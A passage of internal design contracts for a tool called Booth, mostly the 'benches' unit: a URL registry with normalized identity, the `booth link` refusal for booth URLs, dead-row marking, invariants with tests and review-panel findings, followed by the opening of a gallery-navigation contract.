- "`booth/benches.py` IS STDLIB-ONLY and joins the CLAUDE.md invariant 1 list, for the same reason `manifest.py` did: `scripts/booth` imports it through a `python3 -c` heredoc under the system python3 with no venv. It must also be SIBLING-FREE -- it does not import `links`, `marks`, `asks` or `manifest`, because a cross-import between two stdlib-only modules is a second way for that invariant to break. `booth_target` therefore lives in `links.py` (the board's module, where the board's callers already are) and `benches.py` does not call it; the CLI and `app.py` each import both."
- "THE REGISTRY IS ONE FILE AT THE DATA ROOT, `~/booth-data/.benches.json` -- a dotfile OUTSIDE the booth namespace. It is therefore not a booth, cannot be swept, cannot be mistaken for one by `list_booths` (which iterates directories), and needs no exclusion rule anywhere. Single-writer with many readers, like marks and unlike `links.md`: the operator in one browser plus CLI calls, so it is a per-file atomic replace under an flock on the read-modify-write, NOT an append log. Inheriting the append-log shape here would be the multi-writer/single-writer mistake CLAUDE.md names."
- "THE ON-DISK SHAPE IS AN OBJECT KEYED BY ID, not a list. Two rows with the same identity are then impossible BY CONSTRUCTION rather than by an upsert remembering to check -- which is the whole point of giving a bench an identity. The rendered order is separate and stated (INV-4); the file's key order is not load-bearing and is never read as an order."
open_questions:
- "ONE BENCH, TWO URLS. `talk` is reachable as both `https://talk.nh3.phasefinal.com:8092/` (trusted cert) and `https://10.100.10.50:8092/` (internal IP, cert warning), and both are on the board with descriptions that say so. Full-URL identity correctly keeps them as two rows, because they ARE two URLs -- but they are one bench. An alias field would merge them; so would letting a bench carry a list of URLs. Neither is designed here: aliasing is a judgment about what counts as the same thing, the registry is ~14 rows, and two rows for one bench is legible. Deferred, not solved."
- "WHETHER `booth link` SHOULD ALSO NUDGE TOWARD `bench add` for a URL that looks like a service root. It is not refused -- measured, roughly 14 of the 35 distinct non-booth targets are reference bookmarks (repos, model cards, docs) for which the board is the right and only home, so a second refusal would break a job the board legitimately still does. A non-blocking hint is defensible and is not in this unit."

# U6 — benches
## The defect, stated precisely
Re-measured 2026-09-22 against the live board, because the numbers in the IA
doc are a day old and the board grew:
| | IA doc, 2026-09-21 | today |
|---|---|---|
| rows on the standing board | 211 | **221** |
| rows that are booth URLs | not split out | **178 — 80% of the board** |
| …whose booth no longer exists | 145 (69%) | **156 — 71% of the whole board** |
| rows that are not booth URLs | ~40 | **43** |
| …distinct after normalization | — | **35** |
The headline number in the IA doc — *69% rot* — is **two different defects
wearing one number**, and separating them is what makes this unit the right
size:
1. **Booth-announcement rot (178 rows).** A session posted a booth URL because
a booth could not announce itself. **U5 closed the cause**: a booth now
carries `.booth.json` and the index is the feed. Nothing yet stops the
habit, so the board took 11 more of these rows in the day since it was
measured. This unit's *enforced rule* is the stopper, and the *dead marker*
is what lets the operator clear what already landed.
2. **Bench re-post (8 rows).** `booth link` is an append with no identity, so
re-announcing a bench creates a row rather than updating one: `talk` five
times, Peedlar's root three. This unit's *registry* is the fix, and it is
the smaller half — which is worth saying plainly, because the IA doc's
single 69% figure implies otherwise.
A third thing the measurement found, which the IA doc does not describe: **the
board has a legitimate residual job.** Of the 35 distinct non-booth targets,
roughly 14 are running services (benches) and roughly 14 are reference
bookmarks — gitea repositories, HuggingFace model cards, a vLLM recipe, a
Headscale setup page. The IA doc plans for `booth link` to survive "as a
deprecated alias". That would deprecate the only home a third of its live
content has. **`booth link` is not deprecated by this unit.** It loses exactly
one shape — the booth URL — and keeps the rest.
## What the measurement changed
Two lines of `docs/design/information-architecture.md` are wrong and are
corrected in the same commit, rather than left for a reader to trip over:
- **`id : normalized URL`** stays, but the doc does not say what normalized
means, and the obvious reading — the origin — is measurably destructive here
(8 gitea repos into one row). The doc gains the rule and the number behind it.
- **"`booth link` … survives as a deprecated alias rather than vanishing"** is
struck. It survives as itself, minus one refused shape, for the reason above.
## The record
```python
@dataclass(frozen=True)
class Bench:
id: str # the normalized URL — the identity, and the dict key on disk
url: str # the URL AS POSTED — what a click goes to
name: str # what it is
owner: str # the althing handle that registered it, or "booth"
state: str # "live" | "promoted" | "retired"
added: str # ISO-8601 with offset, from the FIRST registration
updated: str # ISO-8601 with offset, from the most recent upsert
error: str | None = None # a read-time verdict; never stored
```
`id` and `url` are two fields on purpose. The identity must be normalized so
that re-posting updates; the href must be verbatim so that a URL whose server
cares about a trailing slash, a case-sensitive path or a query still works when
clicked. Collapsing them would make the registry quietly change where a link
goes, which is the kind of bug that surfaces as "the operator clicked a bench
and got a 404" and is never traced back here.
`added` survives re-registration; `updated` does not. That is the same shape as
U5's `created`, and for the same reason: an upsert is the same bench saying
something new about itself, not a new bench.
**`updated` means the last MUTATION of the record, not the last upsert** —
`set_bench_state` bumps it too. Amended after the cold panel read "most recent
upsert" literally and found the code bumping on a state change: the code is
right (a promotion is a change to the record and "last touched" should say so)
and the earlier wording was narrower than what anyone wants the field to mean.
**Caps, and what "applied" means for each — stated per field, because it is
not the same verb for all of them.** The cold paraphrase panel found "applied at
the write and again at the read" readable three ways (refuse / clip-for-display
/ truncate-and-store) with a different build behind each, and 4-of-4 arms
flagged it.
| field | cap | at the write | at the read |
|---|---|---|---|
| `name` | 120 | **truncated** | **truncated** |
| `owner` | 64 | **truncated** | **truncated** |
| `url` | 2048 | **refused** (`normalize_bench_url` raises) | **damage** — reported, never clipped |
| `state` | one of three | **refused** | **damage** |
| `id` | 2048 | **refused**, via the url it is derived from | **not applied** — see below |
`name` and `owner` are display budgets: clipping one costs a few characters in
a panel row. **`url` is not a budget and must never be clipped**, at either end
— INV-7 promises the click goes to the posted address byte for byte, and a
shortened URL keeps that promise in the type system while breaking it in the
browser. Nothing this code writes can store an over-long one; a hand-edited
registry can, and that is damage.
**`id` is capped at the WRITE ONLY, and that asymmetry is deliberate.**
`normalize_bench_url` refuses an input over `URL_MAX`, so nothing this code
writes can exceed it. On the read the id is the dict KEY and it is the locator
every control posts back — `bench state`, `bench rm`, and the panel's remove
button all address by it. Truncating a hand-edited over-long key on read would
produce a row the operator can see and cannot act on, which is strictly worse
than a long one. Amended after the cold panel found the code and the contract
disagreeing here; the code was right.

```
And in `booth/links.py`, the one addition:
```python
def booth_target(url: str) -> str | None:
"""The booth NAME a URL points at, or None when it is not a booth URL.
ONE PREDICATE, THREE CALLERS -- the CLI's refusal, the board's dead marker,

the board then fails to mark as dead (or the reverse) is two readers of one
truth, which is the bug this repo has now paid for three times.
THE NAME SEGMENT IS PERCENT-DECODED. `app.py` emits booth links through
`quote(name, safe="")`, so a booth whose name needs encoding appears on the
board encoded. Comparing the raw segment against a directory name would mark
every such booth dead and would print the encoded form back at the poster in
the refusal message. Seam review SR-7.
Returns the DECODED name. A path of `/b/` with no name, or a decoded name
that is empty, starts with a dot, or contains a separator or `..`, is not a
booth link (None) — the same rules `resolve_booth` enforces, so the two
cannot disagree about what is addressable.
"""
```
## The enforced rule
`booth link <url>` refuses when `booth_target(url)` is not None:
```
$ booth link http://10.100.10.50:8090/b/sindra-bakeoff/ "the bakeoff"
booth link: that is a booth, and a booth announces itself now.
booth new sindra-bakeoff --why "the bakeoff" (or --why on `booth add`)
the index at http://10.100.10.50:8090/ is the feed.
exit 2
```
Three properties this refusal must have, each of which is an invariant below:
- **It names the alternative.** The teaching moment belongs at the point of use;
17 handles have the muscle memory and a bare "refused" would send them to a
human.
- **It writes nothing — nothing at all.** Not the row, not the board
directory, not the `.booth.json` announcement `booth link` creates on first
use, not a lock file. The test asserts the data root's entries are unchanged,
not merely that `links.md` lacks the row.
*(Amended: this listed two items while INV-3 listed four, so a reader of the
prose alone could conclude a lock file was permissible. One list now, and it
is the strict one.)*
- **It is the ONLY new refusal.** A reference bookmark is still a link.
## What renders
On the standing board's page, above the rows:
- **The benches panel** — each bench as name, URL, owner, state, and the date
it was added; ordered by `order_benches`. Controls to change state and to
remove, both POST, both reversible in one click except remove.
- **A board row whose booth is gone is marked dead** — visibly, with its
checkbox pre-reachable by the existing select-all, so the operator can tick
and use the `unlink-many` control already on the page. **No new delete path.**
**Dead means exactly this, and both halves are load-bearing:**
`booth_target(row.url)` is not None **AND** the name it returns is not a live
directory in the data root. A row that is not a booth link is never dead, no
matter what it points at — the Booth cannot know whether a gitea repo still
exists and must not guess. A booth link whose booth is alive is not dead. No
lifetime arithmetic is involved: a booth one minute from expiry is alive.
*(Stated after 3-of-4 cold arms read the rule two ways — predicate-driven vs
existence-driven — with 221 rows riding on which.)*
A registry that cannot be read renders as a panel carrying its error, never as
an absent panel and never as a 500 — the v0.2.2 lesson, which this repo learned
by returning 500 for `/` and `/healthz` across all 25 booths.
**The panel is gated on PAGE IDENTITY — the booth carries a `links.md` — and
never on content.** A content gate (`board or benches`) hides the panel AND its
registration form exactly when the board is empty and the registry absent,
which is the state a fresh deployment starts in and the one where "no benches
registered yet" is most worth saying. That is the same defect as a damaged
panel rendering as an absent one, one level up. Amended after the cold panel
found the content gate shipped.
## The CLI surface
```
booth bench add <url> <name> register or update; prints registered/updated
booth bench ls list, in the rendered order, with ids
booth bench state <id|url> <s> live | promoted | retired
booth bench rm <id|url> remove one
booth bench import classify the board's rows; WRITES NOTHING
booth bench import --apply <id>... register ONLY the ids you name
`<id|url>` takes EITHER form because the input is normalized before the lookup,
and normalization is idempotent — an id normalizes to itself. So the id `ls`
prints and the raw URL in the operator's scrollback both address the same row.
Pinned by a test, because it is the property that makes the two-form promise
true rather than merely intended.
```
`import` prints three groups — **booth rows** (skipped; `booth_target` matched),
**candidates** (the normalized id beside the raw URL, so a collapse is visible
before it happens), and **refused** (normalization raised, with the reason).
**`--apply` REQUIRES THE IDS. A bare `--apply` is refused.** This is the
unit's sharpest correction and it came from all four arms of the cold paraphrase
panel independently: the first draft registered every candidate, which made the
write path do the exact thing this document's own rationale calls impossible —
**tell a bench from a bookmark by its URL** — silently, to roughly 14 of 35 rows
that belong on the board. The dry run prints ids; the operator names the ones
that are benches; an id that is not a candidate is refused and nothing is
written. There was no selection mechanism between the report and the write, and
the report existed precisely because the decision is not mechanizable.
## The migration
1. `links.md` is archived verbatim to `~/booth-data/links/links-archive-2026-09-22.md`
**and committed to this repo**, before anything else. Nothing the operator
wrote is destroyed, and the archive is version-controlled rather than living
only on one box.
2. `booth bench import` proposes; the operator applies **by naming ids**.
3. The 156 dead booth rows are marked, and removed by him or not at all.
## Scope — the blast-radius pass
`graphify explain` over `remove_link_entry`, `parse_link_entries`,
`order_for_display`, `read_pins` and `toggle_pin`, cross-checked with grep
because graphify cannot see the CLI's `python3 -c` import (it reports the
`app.py` importers and the test callers; `scripts/booth:353` is invisible to it
— the exact blindness CLAUDE.md names).
No existing function in `links.py` changes signature or behaviour. The board's
rows keep their content-hash identity, so every pin, every `unlink` id in the
operator's history, and every concurrent `booth link` append keep working
untouched.
## Out of scope
- **Liveness probing.** The IA doc's BENCH shape carries `last_checked` /
`last_ok`; ROADMAP's v1 row does not — it names *registry, identity, enforced
rule, migration*, and the parking lot already parks the uptime history. This
unit ships none of it, deliberately: it is the only part that does network
I/O, which is the part that reliably takes 2–5 follow-up patches for cases the
first shape did not anticipate — the accretion signature this whole rewrite is
undoing. The record is designed so adding it later is purely additive (the
read is lenient to unknown keys, so an older Booth reading a newer file does
not break). **This is a scope reduction against the IA doc and the operator
can reverse it; the cost of reversing it is one field pair and one CLI verb.**
- **Pruning the board.** Not in v1, by ROADMAP.
- **Bench aliases.** See open questions.
- **A bench page.** A bench is a link to somewhere else; giving it a page here
would make the Booth a directory service.
- **Any change to how booths announce themselves.** That was U5 and it landed.
## Invariants
**INV-1 — one module knows the registry's filename and shape.**
`booth/benches.py` is the only place `.benches.json` is named, parsed or
written. No route body and no CLI branch constructs the path or reads the JSON.
*Falsifiable:* a test that fails if the literal `.benches.json` appears anywhere
outside `benches.py` — and specifically fails under the change that defeats it,
which is a route reading the file directly to save an import. Asserting only
that the panel renders would pass under exactly that change.
**INV-2 — one predicate decides what a booth URL is.** `links.booth_target` is
the only implementation, and the CLI's refusal, the dead marker and the import's
classifier all call it.
*Falsifiable:* the defeating change is a second implementation — a `/b/` check
inlined in the shell for speed, or a regex in `app.py`. One table of URLs
(trailing slash, no slash, nested path, query, uppercase host, a non-Booth host
with a `/b/` path, a `/b/` with no name, a percent-encoded name, a decoded `..`
and a decoded separator) runs through the predicate, the CLI's refusal AND the
render's dead marker.
**AGREEMENT IS THE WEAKER HALF AND IS NOT THE TEST.** Three callers of one
wrong predicate agree perfectly, so agreement alone pins nothing — the table's
**expected values** are the independent check, and the agreement rows exist to
catch a second implementation drifting from the first. Both are asserted; only
one of them would survive `booth_target` itself being wrong. *(Named after a
cold arm pointed out that the falsifier reads as though agreement were
sufficient.)* **A bare `/b/` with no name is NOT a booth link**, and the table
pins that.
**INV-3 — a refused link writes nothing.** No row, no board directory, no
`.booth.json`, no lock file.
*Falsifiable:* the defeating change is moving the refusal after the `mkdir -p` /
`announce` block in the `link` branch — which is where it would naturally land
if written without thinking. The test refuses a link into a data root with NO
`links` booth and asserts the directory still does not exist, not merely that
`links.md` lacks the row. Asserting the row's absence alone would pass under the
defeating change.
**INV-4 — the rendered bench order is total and stated.** `(state rank, name
casefolded, id)`.
*Falsifiable:* the defeating change is dropping the `id` tie-break, which leaves
two benches sharing a name in whatever order the dict yielded. The test
registers two benches with the SAME name in both insertion orders and asserts
the same output sequence from both. A test over distinct names would pass with
no tie-break at all.
**INV-5 — the read cannot raise, and cannot cost the caller unboundedly.**
`read_benches` returns `([], "...")` for damaged, absent, oversized, or
unreadable; it never propagates. Over `BENCHES_MAX_BYTES` is refused by size
before it is parsed.
*Falsifiable:* the defeating change is `json.load` without the guard. The test
GETs the standing board's page with the registry (a) absent, (b) holding
non-JSON bytes, (c) holding valid JSON of the wrong shape, (d) holding a
well-formed record with a wrong-typed field, (e) over the size cap, and (f)
chmod'd unreadable, asserting 200 for all six AND that (b)–(f) render a visible
error rather than an empty panel. Case (d) is the one that matters: it is the
shape that is currently 500ing the gallery elsewhere in this service.
**INV-6 — the identity collapses a re-post and nothing else.** Upserting the
same normalized URL updates one row; upserting two URLs that differ in **scheme,
host, non-default port, path, or query** creates two. **That list is
EXHAUSTIVE** — the only things normalization discards are a fragment, a
scheme-default port, letter case in the scheme and host, a bare `/` path, and
surrounding whitespace.
*(Amended: this said "path, query or host" with no "only", which reads as
illustrative and left an implementer free to "fix" the rule from the
invariant's wording — and it omitted scheme and port, two of the five. 3-of-4
cold arms flagged it; the falsifier now carries vectors for both.)*
*Falsifiable:* the defeating change is normalizing to the origin. The test
registers the eight gitea URLs measured on the live board and asserts **eight**
benches, then registers `talk`'s five rows and asserts **one** — the same
fixture proves both directions. A test that only checked the talk collapse would
pass under origin normalization, which is precisely the wrong rule.
**INV-7 — `url` is what a click goes to; `id` is never rendered as an href.**
*Falsifiable:* the defeating change is rendering `bench.id` in the anchor
because it is "the clean one". The test registers a URL whose normalization
differs from its raw form — **an uppercase host, an explicit default port, and
a fragment** — and asserts the anchor's `href` is the raw string, byte for byte.
*(Amended: this parenthetical used to name "a trailing slash on a non-empty
path" as one of the differences. **It is not one** — the rule list keeps a
non-empty path verbatim, slash included, and INV-6 makes `…/p` and `…/p/` two
benches. Two passages of this document disagreed about the same character, and
3-of-4 cold arms found the contradiction. The rule list is correct; this
sentence was wrong.)*
**INV-8 — nothing this unit ships removes a board row.** The dead marker is a
render-time stamp; `import` without `--apply` writes nothing anywhere; `import`
with `--apply` writes only the registry and its lock sidecar (`.benches.json`,
`.benches.lock`) and never touches `links.md`.
*(Amended: this said "writes only `.benches.json`", which contradicted the
unit's own assumption that every read-modify-write is held under an flock on a
sidecar. The cold panel caught the contract arguing with itself. The
load-bearing half — `links.md` is not touched — is unchanged and is what the
test hashes.)*
*Falsifiable:* the defeating change is `import --apply` "tidying up" the rows it
consumed. The test snapshots `links.md` byte for byte, runs the full unit's CLI
surface against it — refusal, import, import --apply, bench add, bench rm — and
asserts the file is unchanged, including its mtime-independent content hash.
**INV-9 — stdlib-only, and sibling-free.** `booth/benches.py` imports nothing
outside the standard library and nothing from `booth.*`.
*Falsifiable:* the defeating change is `from booth.links import booth_target` —
which is the natural thing to write, since `booth_target` is the predicate this
unit's CLI branch also needs.
**The existing parametrized `test_stdlib_only` in tests/test_marks.py DOES
NOT CATCH THAT, and an earlier draft of this contract claimed it did.** Its
failure set is `{r for r in roots if r != "booth" and r not in
sys.stdlib_module_names}` — it exempts `booth` explicitly, so a sibling import
passes it clean. The sibling-free clause exists only in the stricter copy in
tests/test_manifest.py. Adding `benches` to the parametrized list therefore
buys stdlib-only and NOT sibling-free. So: `benches` joins that list AND
`tests/test_benches.py` carries its own stricter copy, mirroring `manifest`'s,
which fails on a `booth` root. Verified by reading the real test — seam review
SR-1.
## Seam review — what the real sibling surfaces said
Run in-session against the actual `.py` files rather than their contracts,
after the cold panel was dispatched and before any code. Seven checks, five
findings, three of them real defects in this document. `/heid-contract-review`
is artifact-only by design and structurally cannot run this pass: its arms read
this file and are forbidden the siblings it borrows from.
| # | seam | what the real surface said | disposition |
|---|---|---|---|
| **SR-1** | `test_stdlib_only` (tests/test_marks.py) | **The contract was wrong.** It claimed the parametrized test "already carries" the sibling-free clause. It does not — its failure set is `{r for r in roots if r != "booth" and ...}`, which exempts `booth` on purpose. Only tests/test_manifest.py:209 has the strict copy. | **Fixed.** INV-9 now requires both: the parametrize entry AND a stricter copy in `tests/test_benches.py`. Without this the unit would have shipped with its own INV-9 untested. |
| **SR-2** | `resolve_booth` (booth/app.py) | **The contract invited an outage.** It named `resolve_booth` as the existence check for the dead marker. That function is a closure inside `create_app` (not importable) and **raises HTTPException(404)** — called per row, one swept booth would 404 the entire board page. It also calls `.resolve()`, a syscall per row, 178 of them on this board. | **Fixed.** `depends_on` now forbids it explicitly and specifies an own non-raising predicate with the same name-safety rules. Cost stated below. |
| **SR-7** | `quote(name, safe="")` (app.py, booth link emission) | **The contract was silent on encoding.** Booth links are emitted percent-encoded. A `booth_target` comparing the raw path segment to a directory name marks every encoded-name booth permanently dead and echoes the encoded form back in the refusal. | **Fixed.** `booth_target` decodes, and applies `resolve_booth`'s own addressability rules so the two cannot disagree. |
| **SR-6** | `scripts/booth` dispatch (flat `case "$cmd"`, 13 single-word verbs) | Not a defect — a gap. **`bench add` would be the first two-word verb in this script.** Nothing about the existing dispatch anticipates one, and `booth bench` with no sub-verb must not fall through into the generic usage in a way that hides which word was wrong. | **Recorded.** A nested `case` under `bench)`, and a bare `bench` prints the bench verbs specifically. Named so the implementer does not invent a third pattern. |
| **SR-3** | `data_dir` (booth/app.py) vs `DATA` (scripts/booth) | The service resolves and expands its root in `create_app`; the CLI derives it from `$BOOTH_DATA_DIR`. Two independent derivations of one path. | **No change.** This is already true of `links.md`, `.marks.json` and `.booth.json` — pre-existing and out of this unit's scope. Recorded so it is a known property rather than a discovery. |
| **SR-4** | `list_booths` (booth/app.py) | **Confirmed, not assumed.** `if not child.is_dir() or child.name.startswith("."): continue` — `.benches.json` fails both guards. The index cannot see the registry. | **Verified.** The assumption stands on read code. |
| **SR-5** | `sweep_once` (booth/app.py) | **Confirmed, not assumed — and this was the dangerous one.** The sweeper iterates the data root and could in principle delete the registry. It cannot: the same `is_dir()` + leading-dot pair guards it, and `shutil.rmtree` is reached only past both. | **Verified.** Had either guard been absent this unit would have shipped a design that eats its own registry on the first tick. |
**The per-render cost, stated because SR-2 surfaced it.** The dead marker runs
once per board row: 221 rows today, 178 of which parse as booth links and cost
one `is_dir()` each. That is one `stat` per booth row per render of the standing
board's page — and the page already does a `booth_items` walk plus a `hold_read`
per booth on the index, so it is not a new order of magnitude. It is bounded by
the row count, it touches no network, and it is confined to the ONE booth that
carries a `links.md`. If the board ever grows past a few thousand rows this
becomes worth caching; at 221 it would be premature.
## Code review — what the cold panel found
`/heid-code-review` panel `01M35CK8YKEKMV7T15JXEF6A8N`, four arms, verdict
**NOT drift-zero**. Folded in full. Three findings were independently reported
by **all four arms**, which is the signature of a contract clause that was
written as prose and never converted into an assertion.
| # | finding | arms | disposition |
|---|---|---|---|
| **A** | **The panel dropped the added date.** *What renders* says "the date it was added"; `b.added` appeared nowhere in the template and no test asked for it. | 4/4 | **Fixed** — rendered, and pinned by a test. |
| **B** | **`bench ls` printed no ids**, and the truncated URL it printed was not pasteable into `bench state\|rm`. Worse: the test's own docstring *claimed* it printed ids while asserting nothing — a claim standing in for evidence, which is how the drift would have survived CI. | 4/4 | **Fixed** — the id prints whole and last; the test now round-trips what `ls` prints back through `bench state`. |
| **C** | **`bench import` printed the description, not the raw URL**, beside each id — hiding the five-rows-of-talk collapse the clause exists to expose. | 4/4 | **Fixed** — raw URL beside the id, description demoted to a continuation line. |
| **D** | **An IPv6 literal lost its brackets.** `http://[::1]:8080/a` normalized to `http://::1:8080/a` — not another spelling but a BROKEN identity, so a re-post never matches the row. | 3/4 | **Fixed** — bracketed literals are re-wrapped; an *unbracketed* one is refused with a reason rather than guessed at. |
| **H** | **INV-4's tie-break falsifier could not fail.** `_write_all` serializes with `sort_keys=True`, so both insertion orders came back off disk already id-sorted and removing the tie-break left the test green. | 1/4 | **Fixed** — the test now calls `order_benches` directly with records that tie on both prior keys. A vacuous falsifier of exactly the class `persistent-memory.d/2026-09-22-vacuous-falsifiers.md` names, found by a cold reader and not by us. |
| **I** | **An empty board hid the whole panel**, registration form included — the state a fresh deployment starts in. | 1/4 | **Fixed** — gated on page identity. |
| **J** | **The `booth link` refusal could fail OPEN** on a name bash's `$()` erases, because it classified by captured-text emptiness. | 1/4 | **Fixed** — the predicate answers with a `B:`/`N` sentinel, so no name can be mistaken for "not a booth". |
| **K** | A FIFO at the registry path blocked in `open()`; a deeply-nested JSON `RecursionError` escaped the `except (ValueError, OSError)` pair. | 1/4 | **The FIFO half was already fixed** by our own pass before the reply landed. **The RecursionError half was not** — 200k open brackets is 200 KB, well inside the byte cap, and it 500'd the page the function exists to protect. Fixed. |
| **E** | The read does not apply the `id` cap the contract promised. | 3/4 | **Contract amended, code kept.** The id is the locator every control posts back; truncating a hand-edited over-long key would make a row visible and unactionable. |
| **F, G** | INV-5's render test covered 5 of 6 cases and asserted only status 200; INV-2's URL table never ran through the dead-marker render. | 4/4, 3/4 | **Both fixed** — the render test now covers oversized, unreadable and FIFO and asserts the error is *visible*; the full table runs through the marker. |
**Also folded from the per-invariant vacuity pass** (the arms' "what would still
pass" section, which is the single most useful thing the panel produced):
INV-6 had no vector asserting a non-default port is part of the identity, so
"always omit the port" passed every row; INV-3 asserted only that `links/` was
absent, so a refusal touching any other sidecar passed; INV-8's hashed sequence
omitted `bench ls`; INV-9's AST walk is defeated by `__import__("booth.links")`.
All four closed.
**Declined:** nothing. **Amended rather than fixed:** E, `updated`'s meaning,
INV-8's file list, the `registered`/`created` wording, and every line number in
this document's prose — the panel found two already stale, which is the whole
argument against putting them in prose at all.
## Bug hunt — what the cold panel found
`/heid-bug-hunt` panel `01M35CRRK2RTVWWF1BN09AFQG3`, four arms, diff-scoped
against `91fd8bc`. The most severe of the three rounds, and **three of its four
convergent findings were already closed by our own adversarial pass before the
reply landed** — which is the complementarity the skill claims, measured in both
directions on one diff.
| finding | arms | state when the reply landed |
|---|---|---|
| **A single malformed board row blanks the ENTIRE 221-row board.** `%00` in a booth name decodes to an embedded NUL; `Path.is_dir()` raises **ValueError**, not `OSError`; `_board_rows`' blanket handler returns `[]`. Every row vanishes, the page still 200s, nothing says why. | 4/4 | **Already fixed** (control-character guard). |
| **`RecursionError` escapes `read_benches` and 500s the board page.** ~4 KB of nested brackets, well under the byte cap. **Three arms independently cited the precedent: this repo already paid for this exact class in `marks.py`** — the new module re-introduced the unguarded parse. | 4/4 | **Already fixed.** |
| **A FIFO still blocks the render path** while the code comment claims the hang lesson was applied. | 4/4 | **Already fixed** — and the comment that lied about it was the thing that made us look. |
| **IPv6 bracket loss.** Second independent sighting, same root. | 4/4 | **Already fixed** by the code-review round. |
| **The benches panel is nested inside `<span class="sub">`.** A `<div>` in a `<span>`: the parser closes the span implicitly and hoists the div out, orphaning the rest of the sub-line. Nothing 500s, which is why no test could see it. | 3/4 | **OPEN — fixed now.** Moved to block level; pinned by an offset assertion and verified with a real HTML parser (0 block-in-span violations). |
| **`_booth_exists` and `resolve_booth` disagree on a symlink.** The marker called a booth pointing outside the data root alive while the page 404s it — the row renders healthy and the link is dead. | 3/4 | **OPEN — fixed now.** Same containment, same rules. |
| **The board append opens its fd OUTSIDE the lock.** `flock LOCK printf … >> board` reads as locked and is not: the shell opens the append fd while parsing. A concurrent `unlink` replaces the inode via `os.replace`, the old fd keeps pointing at the unlinked one, and the append **succeeds, reports success, and vanishes.** | solo | **OPEN — fixed now.** Pre-existing, not this unit's, but it is silent data loss in the file this unit lives in. Proved by holding the lock and asserting nothing is written. |
| **A pre-planted symlink at the predictable `.benches.json.tmp.<pid>`** defeats the atomic write. The replace is atomic, not safe. | solo | **OPEN — fixed now.** `mkstemp` (O_EXCL, same directory), plus an `fsync` before the replace, because `os.replace` orders the rename and not the data behind it. |
| A successful registration can cross the read cap and poison the registry; an empty board hides the panel. | solo | **Already fixed** by the contract round. |
**Declined, with the reasoning recorded.** Kimi: the `python3 -c` guard under
`set -e` means that on a host where `booth.links` is not importable, `booth
link` now refuses **every** URL, not just booth ones — the refusal mechanism
refuses everything, while the sibling `announce` call degrades gracefully.
**True, and kept as-is deliberately.** A guard that fails open is not a guard,
and the state it describes (the package unreachable from the script that
computes its path from its own location) is a broken install in which `booth
new`, `booth add` and `booth ask` are equally broken. Loud failure with a
message naming what is missing beats silent non-enforcement. Recorded rather
than silently dismissed, because the asymmetry with `announce` is real.
**What the round says about the method.** The two lenses were complementary in
both directions on one diff: the cold panel found three live defects the
in-session pass missed (all three invisible to a test — a layout nesting, a
symlink disagreement, a lock-ordering race), and the in-session pass had already
closed three of the panel's four convergent findings. Neither substitutes for
the other. The sharpest single line in the reply is the one noting this repo had
already paid for the `RecursionError` class in `marks.py` — **a new module
re-introduced a bug the codebase had a test for**, which no amount of
reading the new module in isolation would surface.

contract_version: "0.1-PROPOSED"
status: "LANDED 2026-09-22, all four components. The operator ratified the scope departure (drop subfolder sections, add filename-prefix groups) and settled the `unanswered` open question in favour of the shipped reading. Rail, filters and grid keyboard landed at a306e2d; the groups landed in the commit carrying this revision, which also DELETED tests/test_navigation.py::test_no_group_rail_is_shipped_yet — the guard that held the departure back while the ruling was outstanding. ⚠ TWO THINGS IN THIS CONTRACT CHANGED AT IMPLEMENTATION, both measured rather than preferred: the grouping RULE (see Signatures) and INV-3, which guarded one degeneracy and needed to guard two. The original text of both is kept below, struck, because the reasoning is the useful part."
module: "booth.items + booth.app (gallery navigation)"
purpose: "The last unit before the 1.0 cut. A gallery booth renders as one flat wall with no way to filter it, no way to move through it from the keyboard, and no grouping — so a review of sixty-odd renders is a scroll-and-squint. ROADMAP names four components: sections, a sticky rail, filters, grid keyboard. THE MEASUREMENT KILLS THE FIRST AND REPLACES IT: not one of the eleven live gallery booths has a subdirectory, so sections buy nothing, while a filename-prefix heuristic yields 5-16 sensible groups on four of the five large galleries. This unit ships the rail, the filters, the grid keyboard, and GROUPS DERIVED FROM FILENAMES rather than from a directory tree that does not exist."
depends_on:
- "booth.items.booth_items (INV-1: one resolver for item facts. `Item` gains ONE field, `group`, derived here and nowhere else. No route body derives it, exactly as no route body derives `section`, `caption` or `blurred`.)"
- "booth.items.Item.section (ALREADY EXISTS from U1 and STAYS. This unit does not delete it and does not render a rail from it — those are different questions. A booth that does have subdirectories keeps its section values; nothing regresses.)"
- "booth.app.build_gallery (the thin adapter over `booth_items`; it shapes items for the template and is where `group` reaches the page)"
- "booth.app.image_chain (the zoom prev/next ring. UNCHANGED, and named here because it was CHECKED: the ring is the item order filtered to images, and grouping must not reorder it -- a filter that changed what `next` means would misfile the operator's judgment, which is CLAUDE.md invariant 6's whole reason for existing.)"
language: "python + jinja + a little javascript"
complexity: "medium"
estimated_loc: 300
confidence: 0.6
used_by:
- "booth.app.booth_view (the gallery page gains a rail and a filter state; the grid gains keyboard focus)"
touches:
- "booth/items.py (the `group` field and its derivation)"
- "booth/app.py (build_gallery carries `group`; booth_view passes group counts)"
- "booth/templates/booth.html (the rail, the filter controls, the grid's focus affordances)"
- "booth/templates/base.html (rail + focus CSS)"
- "booth/static/embed.js (NOT TOUCHED — named because it was checked; the verbatim path has no grid)"
- "tests/test_items.py (group derivation)"
- "tests/test_navigation.py (new — rail, filters, keyboard)"
- "ROADMAP.md (the deterministic-order table gains the group row; U7's row is rewritten)"
assumptions:
- "THE SCOPE DEPARTURE WAS RATIFIED BY THE OPERATOR 2026-09-22. ROADMAP's U7 row said `sections, rail, filters, grid keyboard`; this contract drops sections and adds filename groups. The evidence is in `persistent-memory.d/2026-09-22-u7-remeasured-before-scoping.md`: zero of eleven gallery booths have a subdirectory, the only two booths that do are reports, and `pewpew-ui-brief`'s seven subdirectories hold one image between them."
- "THE GROUP HEURISTIC DEGENERATES IN TWO DIRECTIONS, NOT ONE, AND THIS CONTRACT ORIGINALLY SAW ONLY THE FIRST. (a) ONE GROUP FOR EVERYTHING -- live specimen `sc-iso-spread`, `DSC0001.jpg` through `DSC0006.jpg`. (b) ONE GROUP PER ITEM -- live specimens `pewpew-ui-brief` at 23 groups for 34 items and `dfa-concepts` at 13 for 20. Both render as NO rail, because a navigation affordance that cannot navigate is worse than none: it occupies the space where the real one would be. Degeneracy (b) is the one the shipped rule actually meets on the live set, and the contract as first written would have shipped it everywhere."
- "GROUPING IS A VIEW, NEVER A REORDERING. The item order stays `sorted(rel)` (U1 INV-3) and the zoom ring stays that order filtered to images. Grouping and filtering change what is SHOWN and never the sequence -- so `the third one` means the same thing with a filter on as with it off, and a flag lands where the operator thinks it does. This is the whole of CLAUDE.md invariant 6 applied to a surface that did not exist when it was written."
